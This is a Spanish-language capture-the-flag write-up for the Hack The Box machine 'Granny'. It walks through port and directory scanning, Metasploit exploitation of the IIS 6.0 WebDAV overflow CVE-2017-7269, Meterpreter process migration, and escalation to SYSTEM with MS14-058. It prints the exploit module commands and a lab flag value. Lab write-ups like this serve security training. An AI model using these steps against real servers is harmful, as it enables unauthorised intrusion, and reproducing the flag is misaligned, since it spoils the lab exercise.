Resolución paso a paso de la máquina Granny de Hack The Box. Identificamos un servidor web IIS 6.0 desactualizado con WebDAV habilitado y directorios de FrontPage. Explotamos la vulnerabilidad de desbordamiento de búfer CVE-2017-7269 para obtener acceso inicial. Tras estabilizar la sesión mediante la migración de procesos, escalamos privilegios a SYSTEM abusando del exploit de kernel local MS14-058 (TrackPopupMenu).
El primer paso es realizar un escaneo completo de los puertos y servicios expuestos de la máquina objetivo (IP del Lab: 10.129.95.234) para identificar posibles vías de intrusión.
Escaneo Completo de Nmap
Ejecutamos un escaneo de puertos TCP completo (-p-), identificando las versiones de los servicios (-sV) y aplicando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.129.95.234
Resultados del escaneo de Nmap sobre el objetivo 10.129.95.234
Resultados Clave de Nmap
El escaneo revela 1 puerto abierto principal:
Puerto 80 (HTTP): Servidor web Microsoft IIS httpd 6.0 con la extensión WebDAV habilitada y métodos potencialmente peligrosos activos (como PUT, MOVE, COPY, DELETE).
Sistema Operativo: Windows Server 2003.
Scripts de Nmap confirmando la configuración de WebDAV y los métodos HTTP permitidos
Fase 2: Enumeración de Servicios Web (Puerto 80)
1. Fuzzing de Directorios con Gobuster
Realizamos fuerza bruta de directorios en el sitio web para buscar páginas u opciones ocultas utilizando gobuster y la lista de palabras common.txt:
gobuster dir -e -u http://10.129.95.234 -w /usr/share/wordlists/dirb/common.txt
Descubrimiento de directorios del sistema de extensiones FrontPage de Microsoft
El escaneo de directorios revela rutas características de las Microsoft FrontPage Server Extensions como /_vti_bin/, _vti_bin/_vti_aut/author.dll y _vti_bin/shtml.dll. Esto nos confirma que el servidor web tiene una arquitectura muy antigua e integrada de IIS 6.0.
2. Identificación del Vector de Ataque (CVE-2017-7269)
Investigamos vulnerabilidades conocidas en servidores web Microsoft IIS 6.0 que tengan activo WebDAV.
CVE-2017-7269: Vulnerabilidad crítica de ejecución remota de código en IIS 6.0 WebDAV
Encontramos la vulnerabilidad CVE-2017-7269, un desbordamiento de búfer en la función ScStoragePathFromUrl del servicio WebDAV de IIS 6.0. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario enviando una petición HTTP PROPFIND especialmente diseñada con una cabecera extremadamente larga.
Fase 3: Intrusión (Acceso Inicial)
1. Explotación de IIS WebDAV en Metasploit
Iniciamos Metasploit y buscamos el exploit correspondiente a la vulnerabilidad detectada:
Selección y configuración del exploit de desbordamiento WebDAV
Configuramos la IP de la máquina víctima (Lab: 10.129.95.234) y nuestra IP de Kali (LHOST=10.10.15.148):
set RHOSTS 10.129.27.35set LHOST tun0exploit
Recepción de la sesión inicial de Meterpreter y fallo de getuid por restricciones del proceso
El exploit funciona correctamente y abre una sesión de Meterpreter. Sin embargo, observamos un problema crítico: al ejecutar getuid en el prompt, obtenemos un mensaje de Access is denied.
Esto sucede porque la shell inicial se ejecuta dentro del proceso restringido y enjaulado rundll32.exe (creado por el exploit del servidor web), el cual no tiene los privilegios suficientes para consultar datos del sistema o realizar tareas de administración básicas.
Fase 4: Estabilización de Sesión (Migración de Procesos)
Para salir del entorno restringido del proceso inyectado, realizamos un listado de los procesos del sistema (ps) e intentamos migrar a un proceso del sistema más estable y que corra bajo la cuenta de servicio de red estándar:
psmigrate 1888
Migración exitosa al proceso wmiprvse.exe para estabilizar la sesión
Intentamos migrar al proceso del servicio web de IIS w3wp.exe (PID 584) pero falla por privilegios insuficientes. Posteriormente, migramos con éxito al proceso wmiprvse.exe (PID 1888), el cual corre bajo la cuenta NT AUTHORITY\NETWORK SERVICE. Al migrar a este proceso, logramos estabilizar la sesión de Meterpreter y ahora getuid responde correctamente con nuestra identidad actual.
Fase 5: Escalada de Privilegios a SYSTEM
1. Búsqueda de Exploits Locales
Con una sesión de Meterpreter estable en el proceso wmiprvse.exe, procedemos a ejecutar el sugeridor de exploits locales de Metasploit para encontrar un vector adecuado de elevación de privilegios:
use post/multi/recon/local_exploit_suggesterset SESSION 2run
Listado de exploits locales sugeridos para escalar privilegios
El sugeridor de exploits nos devuelve varias opciones viables.
2. Selección del Exploit Local
Para elegir el exploit correcto, realizamos varios descartes técnicos:
Fallo de MS10-015 (Kitrap0d): Aunque aparece sugerido, al intentar ejecutarlo contra la sesión 2, este exploit falla devolviendo Access is denied:
Intento fallido de explotar MS10-015 debido a restricciones de seguridad en la cuenta NETWORK SERVICE
Esto ocurre porque Kitrap0d requiere que la cuenta que lo ejecute tenga ciertos privilegios de impersonación que no se encuentran disponibles o están restringidos en la sesión actual de la máquina.
Selección de MS14-058 (TrackPopupMenu): Elegimos la vulnerabilidad MS14-058 (CVE-2014-4113). Se trata de un fallo de kernel en la forma en que Windows gestiona el objeto popup de menú (TrackPopupMenu), permitiendo ejecutar código con privilegios elevados. Este exploit destaca por ser altamente estable en sistemas antiguos como Windows Server 2003 y no requiere privilegios locales previos elevados para funcionar.
3. Explotación de MS14-058
Cargamos y configuramos el exploit indicando nuestra sesión estabilizada (SESSION 2) y la IP atacante de Kali (LHOST=10.10.15.148):
use exploit/windows/local/ms14_058_track_popup_menuset SESSION 2set LHOST 10.10.15.148run
Metasploit inyecta la DLL del exploit y abre una sesión Meterpreter como SYSTEM
El exploit se ejecuta con éxito e inyecta una nueva sesión de Meterpreter. Ejecutamos getuid y verificamos que nos hemos convertido en NT AUTHORITY\SYSTEM (máximos privilegios del sistema operativo).
Fase 6: Obtención de Flags
En entornos de Windows Server 2003, los directorios personales de los usuarios se encuentran ubicados en la ruta clásica C:\Documents and Settings.
Obtención y visualización de user.txt y root.txt en la consola de SYSTEM
Flag de Usuario (user.txt)
Nos desplazamos a la carpeta del perfil del usuario local Lakis y leemos su flag:
cd "C:\Documents and Settings"cd Lakis/Desktopcat user.txt
Flag de Usuario:700c5dc163014e22b3e408f8703f67d1
Flag de Administrador (root.txt)
Nos movemos al perfil del Administrador del sistema para leer la flag final de control total:
cd "C:\Documents and Settings\Administrator\Desktop"cat root.txt